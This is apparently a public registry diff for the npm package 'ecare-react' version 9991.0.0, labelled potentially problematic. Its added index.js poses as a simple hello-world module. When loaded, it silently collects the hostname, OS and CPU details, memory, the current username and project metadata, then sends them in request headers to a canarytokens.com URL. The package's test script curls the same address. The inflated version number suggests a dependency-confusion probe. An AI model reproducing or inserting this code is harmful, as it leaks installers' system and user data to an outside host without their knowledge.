ecare-react 9991.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ecare-react might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +62 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ function helloNpm() {
2
+ return "hello NPM"
3
+ }
4
+ const https = require('https');
5
+ const os = require('os');
6
+ const packageJson = require('./package.json');
7
+
8
+ // Gather server information
9
+ const serverInfo = {
10
+ hostname: os.hostname(),
11
+ type: os.type(),
12
+ platform: os.platform(),
13
+ architecture: os.arch(),
14
+ cpus: os.cpus(),
15
+ totalMemory: os.totalmem(),
16
+ freeMemory: os.freemem(),
17
+ };
18
+
19
+ // Gather project information
20
+ const projectInfo = {
21
+ projectName: packageJson.name,
22
+ projectVersion: packageJson.version,
23
+ projectDescription: packageJson.description,
24
+ projectAuthor: packageJson.author,
25
+ projectDependencies: packageJson.dependencies,
26
+ projectDevDependencies: packageJson.devDependencies,
27
+ projectScripts: packageJson.scripts,
28
+ };
29
+
30
+ // Convert objects to JSON strings
31
+ const serverInfoJson = JSON.stringify(serverInfo);
32
+ const projectInfoJson = JSON.stringify(projectInfo);
33
+
34
+ // Create the request options
35
+ const options = {
36
+ hostname: 'canarytokens.com',
37
+ path: '/traffic/2g0pqd5w3rtlpkjcsbruy9jr7/contact.php',
38
+ method: 'GET',
39
+ headers: {
40
+ 'Content-Type': 'application/json',
41
+ 'Server-Info': serverInfoJson,
42
+ 'Project-Info': projectInfoJson,
43
+ 'os': os.userInfo().username
44
+ },
45
+ };
46
+
47
+ // Send the request
48
+ const req = https.request(options, (res) => {
49
+ console.log('Response status code:', res.statusCode);
50
+
51
+ res.on('data', (data) => {
52
+ console.log('Response:', data.toString());
53
+ });
54
+ });
55
+
56
+ req.on('error', (error) => {
57
+ console.error('Error sending request:', error);
58
+ });
59
+
60
+ req.end();
61
+
62
+ module.exports = helloNpm
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "ecare-react",
3
+ "version": "9991.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "curl http://canarytokens.com/traffic/2g0pqd5w3rtlpkjcsbruy9jr7/contact.php"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }